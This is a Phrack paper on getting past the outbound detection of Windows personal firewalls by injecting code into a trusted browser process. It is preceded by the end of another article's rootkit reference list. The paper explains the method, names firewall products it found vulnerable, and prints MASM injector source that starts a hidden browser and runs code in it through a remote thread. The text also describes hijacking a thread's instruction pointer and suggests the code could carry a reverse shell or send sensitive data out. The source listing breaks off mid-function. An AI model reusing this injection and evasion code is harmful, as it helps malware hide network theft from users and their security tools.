‑ [LSD] Win32 assembly components http://www.lsd‑pl.net/documents/winasm‑1.0.1.pdf

‑ [THCONTEXT] GetThreadContext remote code triggering proof of concept http://www.syshell.org/?r=Rootkit/Code_Injection/GetSetThreadContex/kCtxIn

ject/

‑ [REMOTETH]

http://win32.mvps.org/processes/remthread.html

‑ [PE]

http://www.syshell.org/?r=Rootkit/PE/Doc/MattPietrek

‑ [IVANOV] http://www.codeguru.com/Cpp/W‑P/system/misc/article.php/c5667/

‑ [UNLEASHED] http://www.codeproject.com/system/api_monitoring_unleashed.asp

‑ [DETOURS] Detours win32 functions interception http://research.microsoft.com/sn/detours/

[HKDEF_RTK] Hacker Defender rootkit

http://rootkit.host.sk/

‑ [HKDEF] Hacker Defender (Holy_Father 2002) http://rootkit.host.sk/knowhow/hookingen.txt

‑ [ZOMBIE2] Entry point rewriting http://www.syshell.org/?r=Rootkit/Api_Hijack/Code/EntryPointRewritting/

‑ [EXPLORIAT] http://www.syshell.org/?r=Rootkit/Snippets/ExplorerIAT2k.log

‑ [MSDN] Microsoft Developers Network http://msdn.microsoft.com/library/

‑ [NtQuerySystemInformation] http://msdn.microsoft.com/library/default.asp?url=/library/en‑

us/sysinfo/base/ntquerysysteminformation.asp

‑ [GETTCP] GetTcpTable http://msdn.microsoft.com/library/default.asp?url=/library/en‑

us/iphlp/iphlp/gettcptable.asp

‑ [NETSTATP] Netstat like http://www.sysinternals.com/files/netstatp.zip

‑ [kSENTINEL] POP3 passwords grabber http://www.syshell.org/?r=Rootkit/Releases/POP3_Stealer/kSentinel/kSentine

l.c

‑ [FPORT] Network Tool http://foundstone.com/resources/freetools/fport.zip

‑ [TCPVIEW] Network Tool http://www.sysinternals.com/ntw2k/source/tcpview.shtml

‑ [LISTDLLS] DLL listing tool http://www.sysinternals.com/ntw2k/freeware/listdlls.shtml

‑ [PROCEXP] Process Explorer http://www.sysinternals.com/ntw2k/freeware/procexp.shtml

‑ [VICE] Catch hookers!

http://www.rootkit.com

‑ [PEB] http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%2

0Objects/Process/PEB.html

‑ [PEBSHLCDE]

http://madchat.org/coding/w32nt.rev/RW32GS.txt

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Bypassing Windows Personal FW's

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x0d of 0x10

|=‑‑=[ Using Process Infection to Bypass Windows Software Firewalls ]=‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ rattle ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑[0x00] :: Table Of Contents ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[0x01] introduction

[0x02] how software firewalls work

[0x03] process Infection without external .dll

[0x04] problems of implementation

[0x05] how to implement it

[0x06] limits of this implementation

[0x07] workaround: another infection method

[0x08] conclusion

[0x09] last words

[0x0A] references

[0x0B] injector source code

[0x0C] Tiny bypass source code

[0x0D] binaries (base64)

‑[0x01] :: introduction ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This entire document refers to a feature of software firewalls available for Windows OS, which is called "outbound detection". This feature has nothing to do with the original idea of a firewall, blocking incomming packets from the net: The outbound detection mechanism is ment to protect the user from malicious programs that run on his own computer ‑ programs attempting to communicate with a remote host on the Internet and thereby leaking sensible information. In general, the outbound detection controls the communication of local applications with the Internet.

In a world with an increasing number of trojan horses, worms and virii spreading in the wild, this is actually a very handy feature and certainly, it is of good use. However, ever since I know about software firewalls, I have been wondering whether they could actually provide a certain level of security at all: After all, they are just software supposed protect you against other software, and this sounds like bad idea to me.

To make a long story short, this outbound detection can be bypassed, and that's what will be discussed in this paper.

I moreover believe that if it is possible to bypass this one restriction, it is somehow possible to bypass other restrictions as well. Personal firewalls are software, trying to control another piece of software. It should in any case be possible to turn this around by 180 degrees, and create a piece of software that controls the software firewall.

Also, how to achieve this in practice is part of the discussion that will follow: I will not just keep on talking about abstract theory. It will be explained and illustrated with sample source code how to bypass a software firewall by injecting code to a trusted process. It might be interesting to you that the method of runtime process infection that will be presented and explained does not require an external DLL ‑ the bypass can be performed by a stand‑alone and tiny executable.

Thus, this paper is also about coding, especially Win32 coding. To understand the sample code, you should be familiar with Windows, the Win32 API and basic x86 Assembler. It would also be good to know something about the PE format and related things, but it is not necessary, as far as I can see. I will try to explain everything else as precisely as possible.

Note: If you find numbers enclosed in normal brackets within the document, these numbers are references to further sources. See [0x0A] for more details.

‑[0x02] :: how software firewalls work ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Of course, I can only speak about the software firewalls I have seen and tested so far, but I am sure that these applications are among the most widely used ones. Since all of them work in a very similar way, I assume that the concept is a general concept of software firewalls.

Almost every modern software firewall provides features that simulate the behaviour of hardware firewalls by allowing the user to block certain ports. I have not had a close look on these features and once more I want to emphasize that breaking these restrictions is outside the scope of this paper.

Another important feature of most personal firewalls is the concept of giving privileges and different levels of trust to different processes that run on the local machine to provide a measure of outbound detection. Once a certain executable creates a process attempting to access the network, the executable file is checksummed by the software firewall and the user is prompted whether or not he wants to trust the respective process.

To perform this task, the software firewall is most probably installing kernel mode drivers and hooks to monitor and intercept calls to low level networking routines provided by the Windows OS core. Appropriately, the user can trust a process to connect() to another host on the Internet, to listen() for connections or to perform any other familiar networking task. The main point is: As soon as the user gives trust to an executable, he also gives trust to any process that has been created from that executable. However, once we change the executable, its checksum would no longer match and the firewall would be alerted.

So, we know that the firewall trusts a certain process as long as the executable that created it remains the same. We also know that in most cases, a user will trust his webbrowser and his email client.

‑[0x03] :: process Infection without external .dll ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The software firewall will only calculate and analyze the checksum for an executable upon process creation. After the process has been loaded into memory, it is assumed to remain the same until it terminates.

And since I have already spoken about runtime process infection, you certainly have guessed what will follow. If we cannot alter the executable, we will directly go for the process and inject our code to its memory, run it from there and bypass the firewall restriction.

If this was a bit too fast for you, no problem. A process is loaded into random access memory (RAM) by the Windows OS as soon as a binary, executable file is executed. Simplified, a process is a chunk of binary data that has been placed at a certain address in memory. In fact, there is more to it. Windows does a lot more than just writing binary data to some place in memory. For making the following considerations, none of that should bother you, though.

For all of you who are already familiar with means of runtime process infection ‑ I really dislike DLL injection for this purpose, simply because there is definitely no option that could be considered less elegant or less stealthy.

In practice, DLL injection means that the executable that performs the bypass somehow carries the additional DLL it requires. Not only does this heaviely increase the size of the entire code, but this DLL also has to be written to HD on the affected system to perform the bypass. And to be honest ‑ if you are really going to write some sort of program that needs a working software firewall bypass, you exactly want to avoid this sort of flaws. Therefore, the presented method of runtime process infection will work completely without the need of any external DLL and is written in pure x86 Assembly.

To sum it all up: All that is important to us now is the ability to get access to a process' memory, copy our own code into that memory and execute the code remotely in the context of that process.

Sounds hard? Not at all. If you have a well‑founded knowledge of the Win32 API, you will also know that Windows gives a programmer everything he needs to perform such a task. The most important API call that comes to mind probably is CreateRemoteThread(). Quoting MSDN (1):

The CreateRemoteThread function creates a thread that

runs in the address space of another process.

HANDLE CreateRemoteThread(

HANDLE hProcess,

LPSECURITY_ATTRIBUTES lpThreadAttributes,

DWORD dwStackSize,

LPTHREAD_START_ROUTINE lpStartAddress,

LPVOID lpParameter,

DWORD dwCreationFlags,

LPDWORD lpThreadId

);

Great, we can execute code at a certain memory address inside another process and we can even pass one DWORD of information as a parameter to it. Moreover, we will need the following 2 API calls:

VirtualAllocEx()

WriteProcessMemory()

they give us the power to inject our own arbitrary code to the address space of another process ‑ and once it is there, we will create a thread remotely to execute it.

To sum everything up: We will create a binary executable that carries the injection code as well as the code that has to be injected in order to bypass the software firewall. Or, speaking in high‑level programming terms: We will create an exe file that holds two functions, one to inject code to a trusted process and one function to be injected.

‑[0x04] :: problems of this implementation ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

It all sounds pretty easy now, but it actually is not. For instance, you will barely be able to write an application in C that properly injects another (static) C function to a remote process. In fact, I can almost guarantee you that the remote process will crash. Although you can call the relevant API calls from C, there are much more underlying problems with using a high level language for this purpose. The essence of all these problems can be summed up as follows: compilers produce ASM code that uses hardcoded offsets. A simple example: Whenever you use a constant C string, this C string will be stored at a certain position within the memory of your resulting executable, and any reference to it will be hardcoded. This means, when your process needs to pass the address of that string to a function, the address will be completely hardcoded in the binary code of your executable.

Consider:

void main() {

printf("Hello World");

return 0;

}

Assume that the string "Hello World" is stored at offset 0x28048 inside your executable. Moreover, the executable is known to load at a base address of 0x00400000. In this case, the binary code of your compiled and linked executable will somewhere refer to the address 0x00428048 directly.

A disassembly of such a sample application, compiled with Visual C++ 6, looks like this:

00401597 ...

00401598 push 0x00428048 ; the hello world string 0040159D call 0x004051e0 ; address of printf

0040159E ...

What is the problem with such a hardcoded address? If you stay inside your own address space, there is no problem. However ... once you move that code to another address space, all those memory addresses will point to entirely different things. The hello world string in my example is more than 0x20000 = 131072 bytes away from the actual program code. So, if you inject that code to another process space, you would have to make sure that at 0x00428048, there is a valid C string ... and even if there was something like a C string, it would certainly not be "Hello World". I guess you get the point.

This is just a simple example and does not even involve all the problems that can occur. However, also the addresses of all function calls are hardcoded, like the address of the printf function in our sample. In another process space, these functions might be somewhere else or they could even be missing completely ‑ and this leads to the most weird errors that you can imagine. The only way to make sure that all the addresses are correct and that every single CPU instruction fits, we have to write the injected code in ASM.

Note: There are several working implementations for an outbound detection bypass for software firewalls on the net using a dynamic link library injection. This means, the implementation itself consists of one executable and a DLL. The executable forces a trusted process to load the DLL, and once it has been loaded into the address space of this remote process, the DLL itself performs any arbitrary networking task. This way to bypass the detection works very well and it can be implemented in a high level language easiely, but I dislike the dependency on an external DLL, and therefore I decided to code a solution with one single stand‑alone executable that does the entire injection by itself. Refer to (2) for an example of a DLL injection bypass.

Also, LSADUMP2 (3) uses exactly the same measure to grab

the LSA secrets from LSASS.EXE and it is written in C.

‑[0x05] :: how to implement it ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Until now, everything is just theory. In practice, you will always encounter all kinds of problems when writing code like this. Furthermore, you will have to deal with detail questions that have only partially to do with the main problem. Thus, let us leave the abstract part behind and think about how to write some working code.

Note: I strongly recommend you to browse the source code in [A] while reading this part, and it would most definitely be a good idea to have a look at it before reading [0x0B].

First of all, we want to avoid as much hardcoded elements as possible. And the first thing we need is the file path to the user's default browser. Rather than generally refering to "C:\Program Files\Internet Explorer\iexplore.exe", we will query the registry key at "HKCR\htmlfile\shell\open\command".

Ok, this will be rather easy, I assume you know how to query the registry. The next thing to do is calling CreateProcess(). The wShowWindow value of the STARTUP_INFO structure passed to the function should be something like SW_HIDE in order to keep the browser window hidden.

Note: If you want to make entirely sure that no window is displayed on the user's screen, you should put more effort into this. You could, for instance, install a hook to keep all windows hidden that are created by the process or do similar things. I have only tested my example with Internet Explorer and the SW_HIDE trick works well with it. In fact, it should work with most applications that have a more or less simple graphical user interface.

To ensure that the process has already loaded the most essential libraries and has reached a generally stable state, we use the WaitForInputIdle() call to give the process some time for intialization.

So far, so good ‑ now we proceed by calling VirtualAllocEx() to allocate memory within the created process and with WriteProcessMemory(), we copy our networking code. Finally, we use CreateRemoteThread() to run that code and then, we only have to wait until the thread terminates. All in all, the injection itself is not all that hard to perform.

The function that will be injected can receive a single argument, one double word. In the example that will be presented in [0x0B], the injected procedure connects to www.phrack.org on port 80 and sends a simple HTTP GET request. After receiving the header, it displays it in a message box. Since this is just a very basic example of a working firewall bypass code, our injected procedure will do everything on its own and does not need any further information.

However, we will still use the parameter to pass a 32 bit value to our injected procedure: its own "base address". Thus, the injected code knows at which memory address it has been placed, in the conetxt of the remote process. This is very important as we cannot directly read from the EIP register and because our injected code will sometimes have to refer to memory addresses of data structures inside the injected code itself.

Once injected and placed within the remote process, the injected code basically knows nothing. The first important task is finding the kernel32.dll base address in the context of the remote process and from there, get the address of the GetProcAddress function to load everything else we need. I will not explain in detail how these values are retrieved, the entire topic cannot be covered by this paper. If you are interested in details, I recommend the paper about Win32 assembly components by the Last Stage of Delirium research group (4). I used large parts of their write‑up for the

code that will be described in the following paragraphs.

In simple terms, we retrieve the kernel32 base address from the Process Environment Block (PEB) structure which itself can be found inside the Thread Environment Block (TEB). The offset of the TEB is always stored within the FS register, thus we can easiely get the PEB offset as well. And since

we know where kernel32.dll has been loaded, we just need to loop through its exports section to find the address of GetProcAddress(). If you are not familiar with the PE format, don't worry.

A dynamic link library contains a so‑called exports section. Within this section, the offsets of all exported functions are assigned to human‑readable names (strings). In fact, there are two arrays inside this section that interest us. There are actually more than 2 arrays inside the exports section, but we will only use these two lists. For the rest of this paper, I will treat the terms "list" and "array" equally, the formal difference is of no importance at this level of programming. One array is a list of standard, null‑terminated C‑strings. They contain the function names. The second list holds the function entry points (the offsets).

We will do something very similar to what GetProcAddress() itself does: We will look for "GetProcAddress" in the first list and find the function's offset within the second array this way.

Unfortunately, Microsoft came up with an idea for their DLL exports that makes everything much more complicated. This idea is named "forwarders" and basically means that one DLL can forward the export of a function to another DLL. Instead of pointing to the offset of a function's code inside the DLL, the offset from the second array may also point to a nullterminated string. For instance, the function HeapAlloc() from kernel32.dll is forwarded to the RtlAllocateHeap function in ntdll.dll. This means that the alleged offset of HeapAlloc() in kernel32.dll will not be the offset of a function that has been implemented in kernel32.dll, but it will actually be the offset of a string that has been placed inside kernel32.dll. This particular string is "NTDLL.RtlAllocateHeap".

After a while, I could figure out that this forwarder‑string is placed immediately after the function's name in array #1. Thus, you will find this chunk of data somewhere inside kernel32.dll:

48 65 61 70 41 6C 6C 6F HeapAllo

63 00 4E 54 44 4C 4C 2E c.NTDLL.

52 74 6C 41 6C 6C 6F 63 RtlAlloc

61 74 65 48 65 61 70 00 ateHeap.

= "HeapAlloc\0NTDLL.RtlAllocateHeap\0"

This is, of course, a bit confusing as there are now more nullterminated strings in the first list than offsets in the second list ‑ every forwarder seems like a function name itself. However, bearing this in mind, we can easiely take care of the forwarders in our code.

To identify the "GetProcAddress" string, I also make use of a hash function for short strings which is presented by LSD group in their write‑up (4). The hash function looks like this in C:

unsigned long hash(const char* strData) {

unsigned long hash = 0;

char* tChar = (char*) strData;

while (*tChar) hash = ((hash<<5)|(hash>>27))+*tChar++; return hash;

}

The calculated hash for "GetProcAddr" is, 0x099C95590 and we will search for a string in the exports section of kernel32.dll that matches this string. Once we have the address of GetProcAddress() and the base address of kernel32, we can easiely load all other API calls and libraries we need. From here, everything left to do is loading ws2_32.dll and using the socket system calls from that library to do whatever we want.

Note: I'd suggest to read [0x0B] now.

‑[0x06] :: limits of this implementation ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The sample code presented in this little paper will give you a tiny executable that runs in RING3. I am certain that most software firewalls contain kernel mode drivers with the ability to perform more powerful tasks than this injector executable. Therefore, the capabilities of the bypass code are obviously limited. I have tested the bypass against several software firewalls and got the following results:

Zone Alarm 4 vulnerable

Zone Alarm Pro 4 vulnerable

Sygate Pro 5.5 vulnerable

BlackIce 3.6 vulnerable

Tiny 5.0 immune

Tiny alerts the user that the injector executable spawns the browser process, trying to access the network this way. It looks like Tiny simply acts exactly like all the other software firewalls do, but it is just more careful. Tiny also hooks API calls like CreateProcess() and CreateRemoteThread() ‑ thus, it can protect its users from this kind of bypass.

Anyway, by the test results I obtained, I was even more confirmed that software firewalls act as kernel mode drivers, hooking API calls to monitor networking activity.

Thus, I have not presented a firewall bypass that works in 100% of all possible cases. It is just an example, a proof for the general possibility to perform a bypass.

‑[0x07] :: workaround: another infection method ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack Staff suggested to present a workaround for the problem with Tiny by infecting an already running, trusted process. I was certain that this would not be the only thing to take care of, since Tiny would most likely be hooking our best friend, CreateRemoteThread(). Unfortunately, I actually figured out that I had been right, and merely infecting an already running process did not work against Tiny.

However, there are other ways to force execution of our own injected code, and I will briefly explain my workaround for those of you who are interested. All I am trying to prove here is that you can outsmart any software firewall if you put some effort into coding an appropriate bypass.

The essential API calls we will need are GetThreadContext() and appropriately, SetThreadContext(). These two briefly documented functions allow you to modify the CONTEXT of a thread. What is the CONTEXT of a thread? The CONTEXT structure contains the current value of all CPU registers in the context of a certain thread. Hence, with the two API calls mentioned above, you can retrieve these values and, more importantly, apply new values to each CPU register in the thread's context as well. Of high interest to us is the EIP register, the instruction pointer for a thread.

First of all, we will simply find an already running, trusted process. Then, as always, we write our code to its memory using the methods already discussed before. This time, however, we will not create a new thread that starts at the address of our injected code, we will rather hijack the primary thread of the trusted process by changing its instruction pointer to the address of our own code.

That's the essential theory behind this second bypass, at least. In practice, we will proceed more cautiously to be as stealthy as possible. First of all, we will not simply write the injection function to the running process, but several other ASM codes as well, in order to return to the original context of the hijacked thread once our injected code has finished its work. As you can see from the ASM source code in [0x0C], we want to copy a chunk of shellcode to the process that looks like this in a debugger:

<base + 0x00> PUSHAD ; safe all registers <base + 0x01> PUSHFD ; safe all flags

<base + 0x02> PUSH <base + 0x13> ; first argument: own address <base + 0x07> CALL <base + 0x13> ; call the injected code <base + 0x0C> POPFD ; restore flags

<base + 0x0D> POPAD ; restore registers

<base + 0x0E> JMP <orignal EIP> ; "restore" original context <base + 0x13> ... ; inject function starts here

Remember, this code is being injected at a memory offset very far away from the original context of the thread. That's why we will need a 4 byte ‑ relative address for the JMP.

All in all, this is an easy and simple solution to avoid that our trusted process just crashes after the injected code has run. Moreover, I decided to use an event object that becomes signaled by the injected code once the HTTP request has been performed successfully. This way, the injector executable itself is informed once the injected routine has finished its job. We can then deallocate the remote memory and perform a general cleanup. Stealthieness is everything.

I should say that [0x0C] is a bit more fragile and less reliable than the first bypass shown in [0x0B]. However, this second one will definitely work against all tested firewalls and most probably also against others. Nevertheless, you should bear in mind that it assumes Internet Explorer to be a trusted process without looking up anything in the registry or elsewhere.

Furthermore, I only used this second bypass together with a running instance of Internet Explorer, other applications might require you not to hijack the primary thread, but another one. The primary thread is usually a safe bet as we can assume that it does not block or idle at the moment of infection. However, it could theoretically also happen that the program's interface suddenly freezes because the injected code is running rather than the code that was intended to run. With this very sample program and internet explorer, I did not encounter such problems, though. It also works with "OUTLOOK.EXE" and others, so I think it can be considered a good and stable approach.

‑[0x08] :: conclusion ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I feel that I can be satisfied with the test results I obtained. Although the injector executable is generally inferior to a kernel mode software firewall, it could easiely trick 80% of the most popular software firewall products.

My second bypass even works against all of them, and I am as sure as I can be that an appropriate bypass can actually be coded for every single software firewall. Both of the sample codes merely send a simple HTTP request, but it would actually be quite easy to have them perform any other networking task. For instance, sending an email with sensitive information would work exactly the same way. The injected code would just have to be more sophisticated or rather, larger than the sample provided here.

Bearing in mind that I achieved this with a 5k user‑mode application, I am certain that it would be even more easy to bypass any software firewall with an appropriate piece of code running in RING0, eventually hooking low level calls itself. Who knows, perhaps this technique is already being used by people who did the same sort of research. The overall conclusion is: software firewalls are insecure. And I am very much at ease with this generalization: The concept of a software firewall, not the implementation, is the main problem.

Software can not protect you from other software without being at constant risk to be tricked by another piece of software again.

Why is this a risk? This is in fact a huge risk because software firewalls ARE being used on Windows Workstations widely. Within a network, it is commonplace to use both software and hardware firewalls. Moreover, the software firewalls in such networks only serve the very purpose of protecting the network from backdoor programs by supplying some sort of outbound detection. And after all, this protection is obviously too weak.

Apart from the danger for privately used computers, which have hereby been proven to be insufficiently protected against trojan horses and worms, exploitation of a remote Windows Workstation using a software firewall can most definitely involve the use of methods described in this paper. The ASM code for the two bypass samples can be transformed into shellcode for any remote Windows exploit. Once a service a Windows network is found to be vulnerable to a remote exploit, it would be also possible to overcome the outbound detection of the respective software firewall this way.

The sample applications connect to www.phrack.org on port 80, but you can actually infect a trusted process and have it

do about anything along the lines of providing a shell by connecting back to your IP.

‑[0x09] :: Last Words ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I'd like to emphasize that I am not responsible for anyone using that sample code with his/her homemade trojan to leech porn from his friend's PC. Seriously, this is just a sample for educational purposes, it should not be used for any kind of illegal purpose.

Thanks a lot to Paris2K for helping me with developing and testing the injector app. Good luck and success with your thesis.

Greets and thanks to drew, cube, the_mystic ‑ and also many thanks to you, jason ... for all your helpful advice.

If you want or need to contact me:

Email, MSN ‑ rattle@awarenetwork.org

ICQ ‑ 74684282

Website ‑ http://www.awarenetwork.org/

.aware

‑[0x0A] :: References ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

These are links to projects and papers that have been referenced somewhere inside this document.

(1) The MSDN library provides Windows programmers with almost all the reference they need, no doubt about that.

http://msdn.microsoft.com/

(2) Another project that bypasses the outbound detection of software firewalls. Unfortunately, no source code is available and it also uses and external DLL:

http://keir.net/firehole.html

(3) LSADUMP2 is the only C source code I found that illustrates the method of injecting a DLL into another process' address space:

http://razor.bindview.com/tools/desc/lsadump2_readme.html

(4) Many respect to the LSD research group for their nice and easy‑to‑read paper "Win32 Assembly Components":

http://www.lsd‑pl.net/documents/winasm‑1.0.1.pdf

Perhaps you might want to check out their entire projects section:

http://lsd‑pl.net/projects.html

(5) Negatory Assembly Studio is my favourite x86 ASM IDE, as far as an IDE for Assembly makes sense at all. You might need it for the ASM source code provided as I make use of it's "standard library" for Win32 calls:

http://www.negatory.com/asmstudio/

‑[0x0B] :: injector.exe source code ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Here you go, this is the injector ASM code. I used Negatory Assembly Studio 1.0 to create the executable, a nice freeware IDE for creating programs in ASM for Windows (5). It internally uses the MASM Assembler and linker, so you might also manage to use the code with MASM only (you will be lacking the includes, though).

.386

.MODEL flat, stdcall

INCLUDE windows.inc

INCLUDE kernel32.inc

INCLUDE advapi32.inc

INCLUDE user32.inc

bypass PROTO NEAR STDCALL, browser:DWORD ; injector function inject PROTO NEAR STDCALL, iBase:DWORD ; injected function

; The PSHS macro is used to push the address of some

; structure onto the stack inside the remote process'

; address space. iBase contains the address where the

; injected code starts.

PSHS MACRO BUFFER

MOV EDX, iBase

ADD EDX, OFFSET BUFFER ‑ inject

PUSH EDX

ENDM

; The LPROC macro assumes that pGetProcAddress holds

; the address of the GetProcAddress() API call and

; simulates its behaviour. PROCNAME is a string inside

; the injected code that holds the function name and

; PROCADDR is a DWORD variable inside the injected

; code that will retrieve the address of that function. ; BASEDLL, as the name suggests, should hold the

; base address of the appropriate DLL.

LPROC MACRO BASEDLL, PROCNAME, PROCADDR

PSHS PROCNAME

PUSH BASEDLL

CALL pGetProcAddress

EJUMP INJECT_ERROR

MOV PROCADDR, EAX

ENDM

EJUMP MACRO TARGET_CODE ; jump when EAX is 0.

CMP EAX, 0

JE TARGET_CODE

ENDM

.DATA

sFail DB "Injection failed.",0 sCapFail DB "Failure",0

REG_BROWSER_SUBKEY DB "htmlfile\shell\open\command",0 REG_BROWSER_KEY DD ?

BROWSER DB MAX_PATH DUP(0) BR_SIZE DD MAX_PATH

FUNCSZE EQU inject_end ‑ inject

.CODE

Main: ; We retrieve the defaul browser path from the ; registry by querying HKCR\htmlfile\shell\open\command

INVOKE RegOpenKey, HKEY_CLASSES_ROOT, \ ADDR REG_BROWSER_SUBKEY, ADDR REG_BROWSER_KEY

CMP EAX, ERROR_SUCCESS

JNE RR

INVOKE RegQueryValue, REG_BROWSER_KEY, \ EAX, ADDR BROWSER, ADDR BR_SIZE

INVOKE RegCloseKey, REG_BROWSER_KEY

; Now we call the bypass function by supplying the ; path to the browser as the first argument.

INVOKE bypass, OFFSET BROWSER

RR: INVOKE ExitProcess, 0

bypass PROC NEAR STDCALL, browser:DWORD

LOCAL sinf :STARTUPINFO LOCAL pinf :PROCESS_INFORMATION

LOCAL dwReturn :DWORD ; return value LOCAL dwRemoteThreadID :DWORD ; thread ID LOCAL thRemoteThreadHandle :DWORD ; thread handle LOCAL pbRemoteMemory :DWORD ; base address

; Get our own startupinfo details out of lazieness ; and alter the wShowWindow attribute to SW_HIDE

INVOKE GetStartupInfo,ADDR sinf

MOV sinf.wShowWindow, SW_HIDE

; Create the brwoser process and WaitForinputIdle() ; to give it some time for initialization

INVOKE CreateProcess,0,browser,0,0,0,0,0,0, \ ADDR sinf,ADDR pinf

EJUMP ERR_CLEAN

INVOKE WaitForInputIdle, pinf.hProcess, 10000 CMP EAX,0

JNE ERR_CLEAN

MOV EBX, pinf.hProcess

MOV ECX, pinf.hThread

; Allocate memory in the remote process' address ; space and use WriteProcessMemory() to copy the ; code of the inject procedure.

MOV EDX, FUNCSZE

INVOKE VirtualAllocEx,EBX,0,EDX,MEM_COMMIT, \ PAGE_EXECUTE_READWRITE

EJUMP ERR_SUCC

MOV pbRemoteMemory,EAX

MOV EDX,FUNCSZE

INVOKE WriteProcessMemory,EBX,pbRemoteMemory, \ inject, EDX, 0

EJUMP ERR_CLEAN_VF

; The code has been copied, create a thread that ; starts at the remote address

INVOKE CreateRemoteThread,EBX,0,0,pbRemoteMemory, \ pbRemoteMemory, 0, ADDR dwRemoteThreadID EJUMP ERR_CLEAN_TH

MOV thRemoteThreadHandle,EAX

MOV dwReturn,0

; Wait until the remote thread terminates and see what the ; return value looks like. The inject procedure will return ; a boolean value in EAX, indicating whether or not it was ; successful.

INVOKE WaitForSingleObject,thRemoteThreadHandle,INFINITE INVOKE GetExitCodeThread,thRemoteThreadHandle,ADDR dwReturn

; If the return value equals 0, an error has occured and we ; will display a failure MessageBox()

CMP dwReturn, 0

JNE ERR_CLEAN_TH

INVOKE MessageBox, 0, OFFSET sFail, OFFSET sCapFail, 16

ERR_CLEAN_TH:

INVOKE CloseHandle,thRemoteThreadHandle

ERR_CLEAN_VF:

INVOKE VirtualFreeEx, EBX, pbRemoteMemory, 0, MEM_RELEASE ERR_CLEAN:

INVOKE TerminateProcess, EBX, 0

INVOKE CloseHandle,pinf.hThread

INVOKE CloseHandle,pinf.hProcess

ERR_SUCC:

RET

bypass ENDP

inject PROC NEAR STDCALL, iBase:DWORD

LOCAL k32base :DWORD

LOCAL expbase :DWORD

LOCAL forwards :DWORD

LOCAL pGetProcAddress :DWORD

LOCAL pGetModuleHandle :DWORD

LOCAL pLoadLibrary :DWORD

LOCAL pFreeLibrary :DWORD

LOCAL pMessageBox :DWORD

LOCAL u32base :DWORD

LOCAL ws32base :DWORD

LOCAL pWSAStartup :DWORD

LOCAL pWSACleanup :DWORD

LOCAL pSocket :DWORD

LOCAL pConnect :DWORD

LOCAL pSend :DWORD

LOCAL pRecv :DWORD

LOCAL pClose :DWORD

JMP IG

sGetModuleHandle DB "GetModuleHandleA" ,0 sLoadLibrary DB "LoadLibraryA" ,0 sFreeLibrary DB "FreeLibrary" ,0

sUser32 DB "USER32.DLL" ,0 sMessageBox DB "MessageBoxA" ,0

sGLA DB "GetLastError" ,0

sWLA DB "WSAGetLastError" ,0

sWS2_32 DB "ws2_32.dll" ,0 sWSAStartup DB "WSAStartup" ,0 sWSACleanup DB "WSACleanup" ,0 sSocket DB "socket" ,0 sConnect DB "connect" ,0 sSend DB "send" ,0 sRecv DB "recv" ,0 sClose DB "closesocket" ,0

wsa LABEL BYTE

wVersion DW 0

wHighVersion DW 0

szDescription DB WSADESCRIPTION_LEN+1 DUP(0) szSystemStatus DB WSASYS_STATUS_LEN+1 DUP(0) iMaxSockets DW 0

iMaxUdpDg DW 0

lpVendorInfo DD 0

sAddr LABEL BYTE

sin_family DW AF_INET

sin_port DW 05000H

sin_addr DD 006EE3745H

sin_zero DQ 0

sStartC DB "SetUp Complete",0

sStart DB "Injector SetUp complete. ", \ "Sending request:",13,10,13,10

sRequ DB "GET / HTTP/1.0",13,10, \ "Host: www.phrack.org",\ 13,10,13,10,0

sCap DB "Injection successful",0 sRepl DB 601 DUP(0)

IG: ASSUME FS:NOTHING ; This is a MASM error bypass.

MOV EAX, FS:[030H] ; Get the Process Environment Block TEST EAX, EAX ; Check for Win9X JS W9X

WNT: MOV EAX, [EAX+00CH] ; WinNT: get PROCESS_MODULE_INFO MOV ESI, [EAX+01CH] ; Get fLink from ordered module list LODSD ; Load the address of bLink into eax MOV EAX, [EAX+008H] ; Copy the module base from the list JMP K32 ; Work done

W9X: MOV EAX, [EAX+034H] ; Undocumented offset (0x34) LEA EAX, [EAX+07CH] ; ...

MOV EAX, [EAX+03CH] ; ...

K32: MOV k32base,EAX ; Keep a copy of the base address MOV pGetProcAddress, 0 ; now search for GetProcAddress MOV forwards,0 ; Set the forwards to 0 initially

MOV pWSACleanup, 0 ; we will need these for error MOV ws32base, 0 ; checks lateron

